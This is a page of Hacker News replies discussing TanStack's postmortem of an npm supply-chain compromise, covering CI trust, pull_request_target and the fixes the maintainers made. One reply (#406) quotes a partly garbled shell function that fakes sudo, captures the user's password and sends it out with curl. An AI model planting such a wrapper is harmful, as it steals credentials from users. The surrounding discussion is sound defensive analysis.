Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Postmortem: TanStack NPM supply-chain compromise

tanstack.com

Post reply on HN
Print view View original

401–410 of 501 posts

Re: Postmortem: TanStack NPM supply-chain compromise

#401

Post by matt_kantor »

donmcronald wrote: post #44
jonchurch_ wrote: post #23

It is unfortunate, but this is evidence (IMO) that Trusted Publishing is still ~~not secure~~ not enough by itself to securely publish from CI, as an attacker inside your CI pipeline or with stolen repo admin creds can easily publish. This isnt new information, TP is not meant to guarantee against this, but migrating to TP away from local publish w/ 2fa introduces this class of attack via compomise of CI. (edit: chan…

I'd like to have touch to sign from a YubiKey or similar. The whole idea of trusting the cloud to manage credentials on your behalf seems like a mistake.

> The whole idea of trusting the cloud to manage credentials on your behalf seems like a mistake.

Isn't this what the "trusted" in "trusted publishing" implies? Maybe you're saying that trusted publishing itself seems like a mistake, but if so you don't need to use it: you can publish your packages the old-fashioned way and npm will make you go through the 2fa flow.

Re: Postmortem: TanStack NPM supply-chain compromise

#403

Post by woodruffw »

jonchurch_ wrote: post #36
captn3m0 wrote: post #27

Earlier quoted context omitted.

The astral blog recently pointed out how they do release gates (manual approvals on release workflows) even with trusted publishing. And sadly, all of the documentation for trusted publishing (NPM/PyPi/Rubygems) doesn't even mention this possibility, let alone defaulting to it.

I have not read that blog post. But unfortunately (and I'd love to be wrong!) it doesn't matter for if a repo admin's token gets exfiled, because if you put your gates within Github, an admin repo token is sufficient to defang all of them from the API without 2fa challenge. That is why I want 2fa before publish at the registry, because with my gh cli token as a repo admin, an attacker can disable all the Github branc…

Exfiltrating an admin token is a big "if"; you shouldn't issue admin tokens at all, and GitHub does (at least for me) pop a proper MFA challenge when attempting to issue one.

(I wrote that Astral post.)

Edit: separately, I'll note that the risk of long-lived, highly privileged credentials is the primary motivating reason for Trusted Publishing: a developer's machine has (by necessity) a much higher degree of access than an ephemeral runner does, making it a much juicier target for an attacker. It also runs all kinds of stuff in a mostly unsandboxed manner, making it easier (in principle) to exploit. That's not to say there shouldn't be additional guards on publishing, but that I'm not remotely convinced that local publishing is any better by default.

Re: Postmortem: TanStack NPM supply-chain compromise

#404

Post by Yokohiii »

sevenzero wrote: post #330
eviks wrote: post #314

Earlier quoted context omitted.

As many as fit in a period of time it takes a better generation of developers to grow up

Unfortunately I think devs nowadays (me included) are insanely bad compared to the devs back in the day who actually had to learn about their computers.

Somehow we've decided to trust and connect everything. It became industry standard, because it's convenient. It's a side effect of complexity.

Even if you're skilled, if you are forced into these practices, then you will take shots. Decision making is the core problem here, a side effect of skill and agency.

Re: Postmortem: TanStack NPM supply-chain compromise

#405

Post by lknuth »

ssanderson11235 wrote: post #182
827a wrote: post #167

Am I understanding this attack vector correctly: Did tanstack have anything misconfigured on their github or make any mistakes that led to this happening? This is the second time, at least, the github actions cache has been seemingly detrimental to massive and widespread supply chain compromise; what is going on over there?

The fundamental mistake here seems to have been not fully understanding the threat model of the pull_request_target action trigger. pull_request_target jobs run in response to various events related to a pull request opened against your repo from a fork (e.g, someone opens a new PR or updates an existing one). Unlike pull_request jobs, which are read-only by default, pull_request_target jobs have read/write permissio…

Static analyzers like https://github.com/zizmorcore/zizmor can help find such misconfiguration. It is however unfortunate, that such footguns aren't harder to fire.

Re: Postmortem: TanStack NPM supply-chain compromise

#406

Post by [deleted] »

xlii wrote: post #331
lrvick wrote: post #179

Earlier quoted context omitted.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

Stupid thought. Make alias called sdo that echoes sudo path and hash every time you use it to stderr. That's security by obscurity though.

[deleted]

Re: Postmortem: TanStack NPM supply-chain compromise

#407

Post by daemonologist »

Ciantic wrote: post #352

What I want to focus on is mental model of your CI pipeline, and problem with too much YAML, consider this quote: > Cache scope is per-repo, shared across pull_request_target runs (which use the base repo's cache scope) and pushes to main. A PR running in the base repo's cache scope can poison entries that production workflows on main will later restore. This is very difficult to understand, and teach to new people,…

This is a problem with all of devops imo - everything is a magic yaml config file and they're very difficult to debug or reason about unless you _just know things_.

Re: Postmortem: TanStack NPM supply-chain compromise

#409

Post by crutchcorn »

____tom____ wrote: post #291
crutchcorn wrote: post #118

https://tanstack.com/blog/npm-supply-chain-compromise-postmo... We (TanStack) just released our postmortem about this.

I didn't see a key section of a COE: "What are we doing to make sure this can't happen again?" Apologies if I missed it. There's some discussion of things under what could have gone better, but prevention is key, and the reports not done without it.

We had a few revisions of the postmortem with this included, but ultimately felt premature to include given how quickly we released this notice.

That's not to say that we're not working hard on preventative work, however. We:

- [x] Temporarily removed the cache from our PNPM setup

- [x] Removed all caches from GitHub Actions

- [x] Locked down all GitHub actions on the org to commit IDs instead of version numbers

- [x] Enforced non-SMS GitHub 2FA (NPM & GitHub 2FA was already enforced, but SMS was previously allowed)

- [x] Removed all usage of `pull_request_target` from our CI pipeline (already wasn't in our CD)

- [ ] Are introducing `zizmor` as action linting to every repo via a PR check

- [ ] Are likely introducing `CODEOWNERS` on `.github` folders to restrict merging to only the 7 core maintainers

- [ ] Will replace the PNPM setup cache with `actions/cache/restore`, which has more secure defaults

- [ ] Will replace the PNPM setup cache to be isolated between release and PR envs

- [ ] May close the ability to make a TanStack PR as an external contributor (But we're absolutely not going closed source)

We'll have a follow-up blog post that outlines all of this and how maintainers are able to secure themselves simiarly.

Post reply on HN